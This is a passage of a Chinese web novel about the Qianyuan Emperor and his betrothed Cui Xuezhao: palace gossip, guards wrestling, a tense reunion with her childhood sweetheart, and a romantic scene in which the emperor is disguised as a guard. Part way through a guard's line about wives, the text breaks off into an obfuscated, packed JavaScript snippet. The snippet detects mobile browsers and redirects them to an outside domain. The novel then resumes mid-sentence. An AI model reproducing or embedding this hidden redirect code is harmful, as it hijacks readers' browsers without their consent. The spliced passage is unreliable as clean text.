“可不是嘛,姓李那崽子,从前见了咱们几个哪次不是称爷爷哥哥。如今倒好,做了坤宁宫的领事,见了我腰杆都不弯,得拿朝天的两个出气孔见人。” “他爷爷的,狗眼看人低的玩意!” 这话说完,见内库使不发话让他们息事宁人,其中一个越发气性:“坤宁宫的这位也是本事,原先不是让她住在万寿宫那头,听御前的宫人说陛下属意封个妃的。谁曾想秀女大册礼那天招了陛下走一遭,嘿!您几位猜怎么着?抬举成皇后了!” “那是那是,就为着这个,前朝吵翻天了,陛下硬是别着性子没服软!” “这么看,陛下对这位主子上心呢。” “上心就一阵稀罕,你们是没瞧见千熙宫那位!” 某个管事朝自己身上等个量寸,“那身段那模样!啧啧啧,莫说是咱们断了根的眼热,兹要是个人,生了一对招子,那都得拜倒在人家石榴裙下!” 这话逾距,入耳的都是一路货色,彼此涎着唇舌痴笑着。 “高家打前朝起就是京城的第一家,那家底几百年得深,可惜咱们几个命不好,没分到千熙宫当差。” “好了。” 内库使这时开口,“赶紧照陛下意思装箱造册,东西加紧送到崔家才是要紧。” 他倒是装得轻松,实则背过身也不舒坦。 内库使虽掌管皇帝私库,但他心里门清,新朝皇帝的内库十之八九都是空的,大乾皇帝入京城时,这座宫城早就被掏得没几分油水了。 天下之君又如何,还不是食人牙侩,吃人家手里边漏下的? 守着这么座空山,还不如寻个机会伺候千熙宫那位真尊主子呢。 .. 乾元帝对于底下人的小九九尚不知,出了私库,先去前朝值房走一圈,跟中堂几位阁老对论过政事,打六部门口露露影子,恶趣味地瞧瞧官员们紧绷着神经办差的神态,这才施施然离开。 路过禁卫所的值房,隔墙听着里头哼呵啊哈的声音,猜到是武官们在练武,脚步一拐迈了进去。 乾元帝不叫惊动人,站在角落处瞧高台上两个肌肉健硕的汉子搏艺。所谓搏艺,一方台圈出四方地,单人精练上阵,无甲胄无兵刃,输赢全靠招式与力气。 民间有庄家会开台搏赛,下注赌输赢。 到了兵部禁卫所,兵汉子互相看不顺眼上台争高低的好去处。 乾元帝安排魏亭去北大营历练,刚去第一天就被北大营的副统领一胳膊肘子干到台下,这一输也没脸强留在军营,乾元帝才安排他进锦职所。 不少武将围看台上两人斗搏,乾元帝也看得津津有味,甚至很有亲自下场比上一把的想法。 不过只是想想,不当皇帝前,他跟兵将混在一处,强就是强,大家不拿着装腔。 当了皇帝身份限制,这些武官不敢放手施展,乾元帝也斗得并不尽兴,索性看看就成。 一场搏艺前后两刻钟足矣,最终以台上又高又壮一身蜜色腱子肉的猛将钳制另一人赢下。 围看的武将等二人下了高台立时朝向自己亲近的,赢家被吹捧的脸上有光,乾元帝倒瞧见这人偷摸揉着自己胸口的小动作,有些失笑。 那输家是个混不吝的,招式有些不正派,掐捏抠咬,为了赢连猴子偷桃这么不要脸的招式都使出来了。 “赵兴,方才没伤着你吧?” 输了的人隔着空地冲赵兴挑衅。 赵兴身旁有个蹦跶的气吼吼地指着那边:“你还有脸问。搏赛讲究分寸,我看你就是成心冲赵哥下三路玩脏的!” “哎呦,别生气嘛。” 两拨人混在一块,输家挤眉弄眼,“玩闹罢了,我手下有数。再说了,赵哥刚成亲,要是我敢把赵哥吃饭的家伙什摘了,嫂子虎势起来不得挥刀剁了我?” “哈哈哈哈” “哈哈哈哈” “你才虎势,我夫人最温柔和顺了!”赵兴一下红了脸。 “和顺?那昨儿傍晚是谁在家乱发脾气摔了碗,入夜趁没人看见,偷摸跪在廊下求夫人快开门的?” “你才乱发脾气!” 赵兴梗着脖子:“在我家,我说东,你嫂子她不敢往西。什么跪在廊下,保准是你看花眼了!” “你可算了吧。” 有位成婚日久的给诸位同僚指导经验:“就听某人一言,这女人呀不能惯着,甭管她白天怎么闹腾,你别张嘴。只管夜里没人了好好收拾她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504325|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,保管她第二天跟个小猫似的乖顺!” 站在角落里的乾元帝不满地拧起眉头,见这武人生得五大三粗,一双虎眼瞪起能有止婴夜啼的奇效。 这人生得不招女子待见,娶个媳妇还不知道好好珍惜? 趁着夜里避开外人,对妻子拳打脚踢算什么本事? 将来皇后入宫,他是绝对不如像此人,在夜里给妻子难堪的! 回到通政殿,还有些气性,很想找皇后话话家常,主题便是这位武人如何地对妻子不好,当然关键是要表明自己对妻子的珍爱万千。 哎,可惜是臣僚家事,他不能随意插手。 皇后远在宫外,若是在坤宁宫,两人一块吃着暮食,就着对武官粗俗行径义愤填膺下饭,想想就很岁月静好! 期盼着日子过得再快些吧。 晨起打一套拳保有健美的身材,上朝处理政事,下朝看奏章处理政事,黄昏闲暇,去宫中景致不错的地方逛逛,提前踩好点,何处垂钓何处搭秋千架和帐篷预备皇后入宫两人同游。 入夜里,看看枕头那头空出来的位置,期盼着将来搂着人共枕眠的画面。 一期盼,五日过去了。 “朕的衣衫还没制好吗?” 大晨起,提这种要求,童公公有些为难:“陛下,小人让宫人去问问?” “算了算了,照着她手艺慢慢来吧。” 冠冕加身,出门前还叮嘱:“别催她。”针线活磨人,一催万一在指头上扎个针眼,他不在跟前嘬一下疗伤,可怎么办? 童公公忙应是,话是这般说,该知道的也得心里有个数。 宫外崔家 万姑姑又接了一批赏赐,这回是特支钱。 所谓特支钱是册立皇后是给在京诸方的赐钱,六月初六大婚之后,该由皇后娘娘赏于臣下,亦是君恩,禁军特支钱是五百钱,地方军大约三百钱,统算下来亦是一笔大的开销。 “谢陛下赏赐。” 内监说帝后一体,娘娘的体面也是陛下的体面。 又问这几日娘娘在崔家可好,在忙什么呢? 主要是给陛下的衣衫今儿能让他一并带进宫最好了! 万姑姑心领神会,笑道:“娘娘没什么要紧的事儿,原是打算给陛下亲手做一件外衫来着。但崔家有位堂妹来做客时提及剑南女子出嫁的风俗,说是出嫁女给未来夫婿备衣,宜从内而外备齐,且要遵照四时季备四套,能得个圆满的好意头。” “哎呦,娘娘对陛下的心意真真叫小人感动。” 感动的内监空手回宫,却依旧得了童公公给的重赏。 至于崔府内的崔雪朝 她照着鞋样子用大绞子裁了两个边,然后就递给专司针线的阿屏和黛芬。 不一会儿秦妈妈来送宵夜 针线活撂下,崔雪朝饮过汤水,见秦妈妈欲言又止让其他人退下,留她说话。 “妈妈有话要说?” 秦妈妈在自家姑娘面前要比在宫人跟前放松不少,她说这几日的小厨房得了御医处女医官的指点,夜上的汤食用了不少给女子补身的好物。 “娘娘,东西是顶名贵的东西。” 秦妈妈脸上挂着担忧:“只是我瞧着那些人一个劲地给您补身,就跟庄户人家灌养小肥鸡一样。” “娘娘,这些女医莫不是打着来日大婚夜,让陛下从您身上采阴补阳的念头吧???” 26-30 第26章 用你的手 三房的院落与自家隔两条巷子, 车马过去不过一盏茶的功夫。 烈阳在上,三房为招待今日上门的帖客,在家门口的大长街上搭起凉棚, 家仆与婢子穿梭其间, 满脸喜庆地招呼着人。 三房官职不高,下帖宴请的不过是族中亲眷和官场上的人情。 虽有皇后娘娘亲临, 但也不好太过明目张胆地讨好,有心之人不到,但贺礼必得送达。 三房婶娘自晨起便盛装等在厅间,眼观六路耳听八方, 与各家上门的女眷过场面, 又吩咐下人仔细伺候贵客。 上晌午, 家下花重金请来的花腔戏也咿咿呀呀地开场了。 得闲下来,门上的跑着回禀, 说皇后娘娘的车驾快到巷子口了。 三房的人立时严阵以待,收拾衣衫整理鬓发, 一等内监高喏, 神情恭敬地跪下众呼给皇后娘娘请安。 崔雪朝自正门阶下坦坦而过,待得坐定, 吩咐众人起吧。 三房婶娘拘谨之下透着三分讨好, “娘娘, 迎亲典须得午后,家下请了望京有名的戏班子,请您点一出吧。” 吉利日子,自然要点郎情妾意幸福美满的,崔雪朝翻了下,择了一台《青衫婿》。主要讲小富之家一对儿女阴差阳错结为夫妻婚后甜蜜终老的故事。 戏班子得了令, 不一会儿各色角儿粉墨登场。 “却道,好男儿一袭青衫,貌如玉” 因是人家嫁女的宴,不好喧宾夺主,崔雪朝点过一出戏后笑着跟三房婶娘说不必拘谨,“今日有客,三婶不必关照我,若有忙事,自去应对吧。” 得此话,三婶蹲个礼,下了高台直奔后院闺女的绣房。 亲生的闺女要出门,从往后就是别人家的妇,当娘的还有好些贴己话要说。 那道匆匆奔去的身影落在崔雪朝眼底,不由想到来日自己出阁。 戏台当啷一声,原是前幕唱完,娇娥女儿上台自陈。 “我本是青城山下一女子可怜我~~母丧太早幼有邻家哥哥为伴” 啊,原是‘郎骑竹马来绕床弄青梅’的一段好缘。 “给娘娘请安。” 崔雪朝露出笑意,“您来了。” 辜夫人身边一高一矮,高的是见过的辜云缨,矮的看模样不及腿高,约莫五六岁,眼睛圆又亮,肉嘟嘟的小脸蛋挂着暑热的红,真是天真可爱。 “这是?” 辜夫人把那孩子往前带了下:“月儿,来给皇后娘娘拜安。” 可爱的小姑娘软乎乎地唤了声皇后娘娘好。 辜夫人:“这就是我上回跟娘娘提过的那孩子。” 崔雪朝反应过来,回头看一眼万姑姑,万姑姑从袖间掏出个荷包送到小姑娘手里,“明月姑娘,这是娘娘送给你的见面礼。” 孩子睁着大眼睛看向辜夫人,见她点头,腼腆地接下,这回声大了些,“谢谢娘娘。” 辜夫人领着两个孩子坐在下首的椅上,“郡主的身子弱,连带着这孩子在娘胎时没养好,五岁了还跟小猫崽似的。前些时候戏荷塘里的鱼时不小心中了暑气,今日好了,一听说我和云缨要出门,磨着非要跟来。” 嗔怪的语气,但辜夫人眼里的关爱做不到假,见小姑娘眼巴巴盯上了长案摆的荔枝,伸手慢慢剥着。 这时节荔枝不是稀罕物,尤其对于崔家来说。 剑南的产物顺着修缮好的江道一路溯上,到大渡口转运冰车,到望京时那外壳刚好发软成熟。 辜家与崔家交情深广,两家大宗在朝堂上互为臂膀,私底下姻亲盘起来也成树脉。 辜夫人:“三房的莲清非说三房只他们兄妹两个,怕赵家那将门虎势,婚后待娇娘不好。缠了云生好些时候,说娇娘小时候也唤云生一声阿兄,今日怎么也得做半个娘家阿哥来门上撑腰。” “左右云生今日休沐,不好白吃你三婶家的好席面。” 闻弦知意,辜夫人说这一大团,是在给她打预防。 午后赵家上门接亲,崔雪朝必然要去后院一趟,迟早得跟辜云生碰面,届时两相惹出什么眼神官司,落到有心人眼里只怕不妙。 “莲清自己文武不行,劳云生阿兄受累了。” 她接应一句。 辜夫人喂过孙女荔枝,擦去孩子唇边的汁水,说应该的。 彼此忖着合适再没开口,抬眼望向高台,见那姑娘一张红绿的面上尽是泪水,原是竹马另娶弃之不顾了。 怎么就点了这么一出? 崔雪朝抚抚鬓发,要去更衣。 下了高台,那泪人凄婉的唱腔听不真切,长长地舒口气。 “娘娘可是不舒服?” 突然炸响在耳边的一句话,吓得人心头狂跳,愣着眼撇过头,是今日换了贺功的侍卫,叫袁什么来着? 这人是何时站在自己身后的? “你说话前怎么不出声?” 侍卫如墨浓沉的眼死死盯着她的面容,“娘娘是在心虚吗?” “放肆!” 她甚少有疾言厉色的时候,淡如清荷的人瞬间恣意成一株娇艳的牡丹,越发让人挪不开眼。 侍卫不甘地憋口气,屈膝半跪在地:“皇后娘娘恕罪,是在下一时失言。” 暗恼的眼落在她高翘的凤头履上,最上面的那颗明珠在她裙裾褶上若隐若现,与那唱着被负了心的女子掩面而泣时竟有几分隐喻地相通。 “娘娘莫气,这侍卫言行冒犯,待今日卸值便黜免了他的官,交由贺大统领处置。” 崔雪朝抿唇,“今日若敢再犯,仔细你的脑袋。” 能进禁卫的人皆有来头,且此人从国姓袁,说不得是河东哪一支的小辈。 冷言警告过,再不多看,仆从领着贵客去了后院歇息,没一会儿端上精致的一桌饭食。 只是夏燥没什么胃口,随意扒了几口分给随伺的阿屏等人。 三房的院落并不宽敞,辟出来的客居胜在干净整洁。窗外紧邻一口湖塘,树梢蝉鸣阵阵还有呱呱蟆叫,吵得人心火大,硬闭着眼歇了两刻钟。 前院已有炸鞭的响声,想来是快到赵家迎亲的吉时。 出门沿着石径往前,才走没多久,径口突然绕出一道清隽的身影,崔雪朝怔然停住,才要开口,骤闻唰的一声寒声,那高大魁梧的禁卫竟然抽出雪亮的横刀大步跨前,将崔雪朝严严实实地堵在身后,厉声斥道:“来者何人?皇后娘娘在此,还不速速退下!!” 这一吼,真有山崩地裂的阵仗,崔雪朝只觉耳中嗡鸣,吃惊地仰头瞪着这个一心护主的侍卫。 未免太小题大做了吧? 再看一侧,万姑姑竟也是凛然,迷茫起来,难道又是她太不端着架子了? “尊下莫惊,在下乃是辜家大公子,并非歹人。”前方传来一道温文尔雅的声线。 “什么辜家娘家,你说不是歹人” 两相对比,这禁卫好蛮横! “你先退下。” 崔雪朝道。 禁卫话音顿住,却没立刻退开,反倒脚步拧在石板上搓了好几下,最后闷哼着闪至一旁。 崔雪朝斜了禁卫一眼,可惜这人生得恁高,收刀在鞘依旧挎着刀把警惕怒视不远处清风悦和的官门子弟。 底下人无状,当主子的脸面不好看。 有外人在,暂未处置。 崔雪朝赔罪轻笑:“禁卫太过小心,还请云生阿兄莫要多怪。” 一声云生阿兄,便是泾渭分明的悬殊。 辜云生道职责所在。 而后沉默,竟两相无话,彼此睁着眼对看起来。 阔别太久,辜云生只念着见一面,却没想好要说什么。 思及二人最后一次见面是在八年前。 她站在辜家门外,恨他恨得咬牙切齿,骂他懦弱骂他负心汉不得好死,世间最恶毒最难听的话出自她口,他辩无可辩,连伸手为她擦拭眼泪的余地都没有,只能看她留下决绝的背影,从此消失在他的人生中。 最后有关于她的消息是自己大婚,他的妻主见他站了半宿不肯上榻,语调似蛇信滑过,“夫君放心,你的小青梅已经安然离京。” 来前母亲耳提面命说她如今身份不同,为了辜家,万不可与她见面! 阿娘说她现在过得很好,让他释怀吧。 又是为了辜家,他牺牲得难道还不够吗? 更何况,只是隔着十几步见一面而已。 崔雪朝看看他如今模样,与记忆中的昂扬太不一样。他还是爱穿青竹色的长衫,却不挺立了,有种枯槁的颓态,似乎郁结于心至今难以开怀。 嗳,年轻的时候,谁还没点经历? 她跟辜云生就像戏文中那样,是自小一块长大的青梅竹马,两家大人默契地认同了二人的亲事。 第一次与男子牵手是他。 第一次与男子秉烛夜游七夕,是他。 第一次怦然心动,颊容绯红,是因为他。 但第一次撕心裂肺,也给了他。 他其实有他的可怜,但太年轻的自己眼里只看清背叛。 所以她恨了他好久,有一次做梦梦到他,一刀子狠狠地扎进他的心肠,非要看那是黑的白的。 后来母亲告诉她,当年营救父亲辜家出过力,宫里的端秀公主也曾在末帝面前为父亲求过情。 于是,那点意难平就抹干净了。 轰轰烈烈的爱恨走一场,崔雪朝再见他时,已经能平静地唤他阿兄,平静地笑着。 看他凝望自己,眼眸一点点浮起泪意,可以心平气和地说:“月儿和你小时候长得一模一样。” 盈满眼眶的泪如雨下,辜云生哽塞难言,狼狈地转过身落荒而逃。 “哎呀,好没规矩的人!” 万姑姑气愤道,眼角余光观察着一旁的高大侍卫,觉得那儿站的不是个人,像座闷沉的火山。 “就是就是,娘娘又没说什么难听的话。” 不知内情的阿屏赞同道。 崔雪朝怔了一下,很快回过神。 她出生在一场雪后朝阳新起,那时两人约定,如将来有女,便起名‘月儿’。 奈何她是果决的个性,放下的人与事任其沉入记忆深处,不究最好。辜云生是她翻过的一页书,搁在桌脚不必复阅。 烊烊叹口气,一错眸,睨见那护卫又用那种辨不清是狠辣还是伤感的眼神在看自己,气不打一处来:“你瞪着本宫作什么?” 她还敢冲自己发脾气?! 私见外男,她还如此理直气壮地朝别人撒气?怎么?是方才自己退太慢,耽搁了她看野男人了吧?! 藏起行迹,一天伏低做小的侍卫乾元帝绷着牙,硬是护送她去了后院,护送她言笑晏晏地交际于女眷之间,护送她给族妹撑腰像模像样地规训赵家二公子。 回归喜腊院 袁望本看在她今日在外吃得不好歇也没歇好的面上,暂时不与她理论。 岂料区区禁卫犯了几处小错,竟能惹得皇后之尊记到现在?所以还是因为自己屡次因那辜什么的玩意开口,惹了她不如意了吧? “本宫让你跪下,你耳聋了吗!” 就见那高个头的禁卫不仅耳聋,而且突然发了狂!单手卸了腰上横刀甩到地上,发出当啷一声巨响,三两下抽解兜甲扔在廊下,长腿跨进门槛,肌健的胳膊慢且狠地阖上门扇。 “你” 眼看万姑姑等人袖手旁观,浮在心头许久的疑云终于现出原形,愣怔地看着他逼近到自己身前,不由自主地往后避开。 只一步退,他右手猛地探前捞上崔雪朝的腰,不由分说地掰着她跨上他的。刹那失衡,她下意识抱紧他后颈,回过神来想退,扶在腿间的大掌惩罚地按住。 “用你的手。” 他狠厉的眼眸攫住她的不安,“取下朕面上的罩甲。好好看看,现在站在你面前的究竟是谁!” 第27章 伺候得您舒服吗? 普天之下, 谁人胆敢自称朕? 白如玉的指腹落在冰凉的罩甲边缘,似乎紧张,颤抖着摸索扣上的开关。她的腿像被两块烙铁烫在他劲瘦的腰间, 心跳得飞快, 一急,又莫名地不知在怕什么。 崔雪朝扣解不开, 后背也生了好些汗,也不知依仗起他对自己的纵容还是旁的情感,总之气恼地一巴掌拍在他脸上,气咻咻挣扎道:“你放我下来!” 话音落地, 整个人臊得要疯, 她是怎么发出这样一声娇滴滴的话!莫不是晌午有人偷偷给她嗓子里灌了大青蛙? 心上人自是怠慢不得, 这方寝居是何布置他了然于胸,于是信步走到紫薇窗棂边的矮榻, 单膝跪地,恶狠狠又十分小心地让她坐定, 却没退开, “娘娘何必心急,外边又没什么乱七八糟的人等着跟您说话, 昼长着呢, 朕等得起。” 他说这话时, 那双如墨的眼眸执拗地同她对看着,方才发狂似的癫态殆尽,反而弥上暧昧的欲。 崔雪朝并不拢腿,小腿腹紧贴冰凉的榻沿,独属男性雄浑的气息侵略感十足,至少方才狠狠捏着自己大腿软肉的滚热手掌饶过, 只是转移撑在自己双膝。 昂着头非要自己亲手帮他拆下兜甲的情态跟个讨食的大犬。 轻吁口气,不紧张不紧张,眼眸专注于难解的卡扣,颦眉微蹙,凝神间,不由自主地凑近了些。 咔的一声清响 崔雪朝眼神微亮,“开了。” 蝉翼似的黑色罩甲轻轻揭开,是他如山如峦的面容,那山脊高处的眼也为她小小的成功之举泛起涟漪。 这么近,近到鼻息交融,有她清甜如蜜的荷合香,有他幽若潭古的冷凝气,崔雪朝茫然于眼前的处境,莫名怕什么人听见自己的话,呢喃道:“陛下,我帮您解开了。” 所以,能不能退开些,她快喘不上来气了! 袁望唔了下,不退反进,强装恼怒的语气平白听着很黏黏糊糊:“既见天颜,可知自己今日犯了什么错?” “陛下恕罪,今日言行皆是无奈之举。” 一想,她狠狠地瞪过这人,呵斥过他,甚至刚才还叫他给自己跪下! 好大的死罪! 回忆起来,好似他已经给自己跪过。 “但,事出有因。” “什么因?那辜家大公子与你求而不成的青梅竹马情意嘛?” 气弱的崔雪朝从这句话中听出端倪,突然凛直腰板,偏过头不肯与他正眼相看。 “陛下此话好没道理。当日您求娶我,便该知晓我有晦往。若是介怀,便不该求娶。但您求娶,在我看来,应是对此有如海胸襟才对!” 袁望一怔,山不来就我,他便去就山,撑在她身侧,移目过去,“说话就说话,你发什么脾气?难不成我连拈酸吃醋的一分本钱都没有?” 这话叫崔雪朝无奈,只好缓缓神情。 然看他一眼,莫名还是有几分恼,想起他方才摔摔打打,一下有了清算过去的念头,“陛下能否说实话,当日我想做安勇侯侯夫人,您是不是跟魏侯爷曾说过,说我嫁过人,配不上侯夫人的身份?” 什么! 袁望慌了神,“这话从何处来?” “我是女子,和离之身,但我从未因自己有过一段错误的缘而觉得自己变得卑贱,这无关出身无关才貌品行!书中曾言,良禽择木而栖,我和离换一种活法难道犯了哪条律令?” 她是用正经到不能再正经的语气,郑重其事的开口。 袁望彷徨一瞬,明白是他一意孤行立她为后,给她平静的生活带了诸多难听非议。 愧疚之下,越发切切:“我发誓,绝不会因为你从前而轻视你,看低你,更不会为此而迁怒于你。” 崔雪朝审判过他的表情,不似作假,这才作罢。 袁望看了看两人之间仅有的几拳距离,越发做小,“但今日那辜家大公子好没道理,若是想与你见面说话,为何不叫人通传,正大光明地约道茶?是他好没道理的冲出来,又没头脑的流了两股迎风泪,所以我才发脾气的。” 崔雪朝顿了顿,“他他应该不是故意的。” 与辜云生的往事,其实不用费什么功夫就能打听到,她不信手眼通天的乾元帝会不知道两人其实早已泾渭分明。 “或许是碰巧吧。”她敷衍道。 碰哪门子的巧? 那时辰赵家迎亲的人都快到巷子口了,辜某人合该跟着三房的人去前门堵亲。偏他不去,趁着那时后院人少,杵在道上想跟他的皇后见一面。 见一面做什么? 自己和宫人内监再稍松懈下,是不是辜大那恶棍仗着阿朝心软不设防,做出什么悔得肠子都青的表情,然后勾得阿朝对他同情? 这是什么行径?分明是离间帝后恩爱的阴私手段! 说起来,这辜家大公子莫不是收了高家的银钱? 天热了,臣僚们倦政,他这个皇帝最近是不是杀人杀少了? 思绪飞转,神情却是恳切,“三房院落太大,想来是辜大公子走迷路了吧。” “” 崔雪朝微哽,注意到他神情中的沮丧与低落,心里不好受。 他是至尊的天子,专门换了侍卫的衣裳来做她的近卫,自己没有领情不说,一味地借题发挥。 抿了抿唇,伸手在他袖口揩了下,他疑惑地看自己,崔雪朝甩甩手:“这衣裳不好,有个线头。” 袁望没瞧见线头,但心如福至,“这件轻衫穿得太久,袖口都磨得发毛了。你近日可有空,能帮我制一件新衫吗?” 这是缓和的台阶。 崔雪朝颔首说好,“只是我的针线一般不如针线局的宫人,到时陛下别嫌弃。” 袁望嗳了声,得了她的承诺,胆子更大些,粗粝的手指抚顺她鬓边被自己弄乱的发丝,明明他这么强盛的魂魄却被几根细弱的发丝给缠得死死的:“端午后,御史台好些坏人参本,说朕九五之尊不该太过亲民随意降眠崔家,免得天颜有损。” “今日本不该来,只是好些日子不见你,听宫人回禀说你被高家欺负,气得我好几夜睡不着,这才换了侍卫衣裳才见你。” 解释过前因,又问她:“方才我脱衣裳,是不是声音太大吓着你了?” 其实自己哪有他口中说得那般胆小。 从万姑姑避到廊下的瞬间,就已然猜到他的身份。 崔雪朝往窗外瞥去一眼,见宫人等避得远远的,说自己无碍,“只是往后不要再做这样的事情了。” 掐指一算,“再有半月就是六月初六。” 原来不是单相思,她也很急切地想跟自己成婚,然后朝夕相对夫妻相濡以沫吧。 说到相濡以沫 袁望:“袁凌泽,凌泽是我的小字。” “涣呵其若凌泽”崔雪朝眨眨眼,“取自《道德经》,是袁公给你取的吗?” 袁望说是,盘腿坐在她膝下,眼神温柔问她的小字是什么。 “汀溪,是南下途中,母亲为我起的。” 崔雪朝:“汀溪兰香,风住竹林,日出汀洲。” “人生如茶,沉时坦然,浮时淡然,拿得起,放得下。” 袁望握上她的手腕摩挲着:“崔夫人之爱让我真羡慕。” 又问她:“你说,我这婿子,你母亲会喜欢吗?” 崔雪朝从来没想过这个,摇了摇头说不知道。 直心眼的姑娘不会哄弄男人。 袁望又欣慰又不甘:“想必崔夫人很看好辜家大公子吧!” 他怎么又重提? 崔雪朝却以新奇的视角看着他的眉眼,从高不可攀的君到不可脱俗有男女之欲的男人,到今日,他又成了泛起朝气的莽直郎君,“究竟我要如何说,才能让你不再提那个人呢?” 袁望调整下神情,不叫自己太过急切了,却不知巴巴探前的脖颈透露他急不可耐的口欲:“汀溪,你亲我一口吧。” “只亲一下就行?” 她很怀疑他的大胃口。 “那多几下也不是不行。”说得像是委屈了他。 崔雪朝谨慎地望一眼窗外,在他期盼的眼神下,吧唧亲在他脸上。 “好了吧。” 太羞了,耳后像被烫一样。偏开眼瞧见小几上有个食盒,最顶上是从望京有名铺子买回来的糖稞块,随意捻了一枚杏子的塞到嘴里,故作淡定地嚼着,就是不肯看他的反应。 过半晌,还不曾听到他有响动,终于按捺不住,也就是在她垂目的瞬间,盘坐在地上的人突然撑起上身。 唇上一痛,崔雪朝被他环抱着仰到榻上,她的掌心贴在他胸口能感受到飞快的跳动,唇舌亦如是,像个蛮牛嚼牡丹嚼杏肉稞果,抢到自己嘴里,又像是突然意识到不该夺人唇中物,舌尖顶还来,诱开城门刮舔她,吸吮。 太深的交情,让崔雪朝难以承受。 她忍让到咽下最后一口果肉,按到他肩头,很想狠狠地把他搡开,身上人却机敏地往后微微撤开。 微红的眼底还有未曾满足的念头,眼神是试探的,轻轻贴了下,是不确定的触碰。 唇瓣温热,依稀还有点甜滋滋,崔雪朝在他又一次靠近时扭开脸,嘴角绷成一条直线,明明白白地拒绝。 意料之中的停顿。 他喘重的鼻息一点点挪至颈侧、耳畔,留下涩麻的奇痒,听见他含糊地咕哝了一句:“别躲。” 她咽了下喉,睫羽低垂在眼下投下一小片暗色,半晌后,恼羞成怒地红着脸嗔他轻点:“你究竟会不会呀?” 夕阳西下,姑娘的侧颜比天际的晚霞还要坨红如胭。 兜甲的唇有些肿胀的痛麻,心里却是快活的。 袁望翻身上马,目光尽处,二道门那里随风摆动起一角绯红的裙衣。 耳畔回响起情难自禁时她喉间滚出的一声啊,眸色越浓,越期待与她来日大婚的契合不分。 “走了。” 他微扬声线,知道门内的她听得见,于是扬策马鞭。 如雷蹄声转瞬消失,崔雪朝鼓鼓脸颊,在阿屏好奇的眼神下淡定地抬起轻扇遮住半面,“回吧。” 阿屏说是,跟着走了一小段,还是没忍住,“皇后娘娘,陛下功夫如何?伺候得您舒服吗?”秦妈妈说了,万事得以娘娘为先,她们这些下人只管娘娘开心不开心。 万姑姑咳出一连串闷音,妄图压住阿屏的声音。 崔雪朝脚步加快,到最后几乎是跑着甩掉身后的一群宫人! 第28章 三宫六院七十二妃嫔,他…… 临近婚期, 崔雪朝的宫礼学得差不多了,礼部遣派来的嬷嬷最后确认一次流程,规矩地拜别:“娘娘行慎, 样样照着礼数, 小人再无旁的要教。” “辛劳嬷嬷。” 示意万姑姑打赏,等人下廊离去, 避到寝居更换袆衣大冠。 六月晌夏,家下的蒙顶石花开得旺盛,秦妈妈晒制了些,最鲜嫩的挑选出来灌以面浆水煮沸盛出, 拌上酥乳和碧梨鲜, 清爽又饱腹。 廊下大树支起秋千架, 跟前有高蓬帐顶,池塘边的凉风透纱拂面, 一边吃着欢食一边遐闲地听阿屏和宫人们说着三房娇娘回门那日的趣事。 正说起娇娘下马车,是被赵家二公子掐腰抱下时, 府下管家阿伯进来回话。 管家阿伯:“那物件小人亲眼看过, 的确是大姑娘当年及笄礼时,夫人亲手簪佩的白玉兰花样, 就连中间那朵上的裂痕, 小人也都核验过。只是” “只是那东西流进了不体面的场合, 在春花秋月的一琴娘手中。小人几番提价,昨日提至百两金,那人不识抬举,说宁肯砸碎听个响儿高兴,也绝不会卖!” “什么不会卖?我看是那琴娘见您几番前去,坐地起价罢了!”阿屏不高兴道, “您难道没跟她提簪子的原主是当今皇后娘娘?” 管家阿伯哎呦道一声小祖宗,“皇后娘娘的名头哪是随便就能搬出来嚇人的!春花秋月本就是风月场所,里头鱼龙混杂,娇客们为造声名什么话都能编造出来,没得漏了皇后娘娘的名头,东西拿不回来不说,还由着人家踩在脚下当阶梯。” 崔雪朝知晓管家已经尽力,并未为难。 自她归京,花了不少精力寻回当家崔家旧物,十之八九或人情或重金都收的差不多了。 及笄礼的那只白玉兰头簪并不名贵,只是母亲亲手绘制的花样交由工匠打造,侧罅的圆珠是母亲成亲头冠上的顶珠,寓意非凡。 寻不到罢了,既有了音信,旧物存情,不想让它抿于外界。 “可曾与那琴娘说了簪子是母亲赠予女儿的爱物?” 管家点头:“那琴娘说东西是她当年入春花秋月时买的第一件首饰,这么多年伴着,见证诸多。她体谅原主的不舍,也想让原主也念念她的情深。” 崔雪朝想想,进到寝居琴匣取出一卷白纸交给管家:“她既卖艺,想来看得懂琴谱。与她看看这个,若她瞧得上,可作为出手簪子的赠物送她。” 管家神情微松,说这回应能成事。 翌日他又到了喜腊院,说辜负娘娘期望。 “琴娘说谱子是好,她也愿意出手。只是她说自己琴艺疏浅,不想让春花秋月的其他琴师偷艺,若写谱子的人能教她一回,便肯割爱。” 也在情理之中。 崔雪朝点头,“寻上一处妥帖地方” 管家为难:“您有所不知,这春花秋月规矩严苛,凡是艺者,除非得楼主恩准,终身不得踏出楼内半步。如有违逆,便遭酷刑惩戒。” 万姑姑:“难不成要让娘娘金尊玉体去那等糟污之地?!” 管家摇头。 原是那春花秋月与寻常狎妓吃花酒的地方不同,占地颇广,楼内建设容囊甚繁,以廊桥河苑相连,东西南北四座分楼。 雅客与荤俗并举,其间甚至有两条外物巷,胡部泼辣热情的漩舞盛会,南边水线的杂耍猴戏喷火钻圈 “望京有名的食楼—香积堂就在春花秋月的秋字苑,望京中不少高门女眷常三五相邀同去品鉴。” 提及香积堂,万姑姑稍松神情。 阿屏也两眼放亮:“香积堂原在那里!娘娘最爱吃他家的蟹酿橙和软兜掐丝饼!” 崔雪朝唤一声贺功。 廊下的贺大统领早就听见堂内热闹的话语,进门拱手,“娘娘只管出行,护卫一事可放心交由微臣。” “切记不可招摇,低调行事,见了琴娘就返程。” 贺功:“微臣遵命!” 他自廊下离去,领着人安排明日娘娘出行的一切事宜,最关键是务必通禀告知于宫内的陛下。 屋内阿屏抚掌笑起来:“打归京来,娘娘很少出门。过些时候进宫,又不知何时有机会才能出宫。娘娘,我长这么大,还没看过胡部的旋舞呢。听秦妈妈说,跳旋舞的舞姬腰肢软,身上就几块巴掌大的布料,一转起来,围看的客人哗啦哗啦不要命地撒铜板!!!”一只舞那得赚多少银子呐! 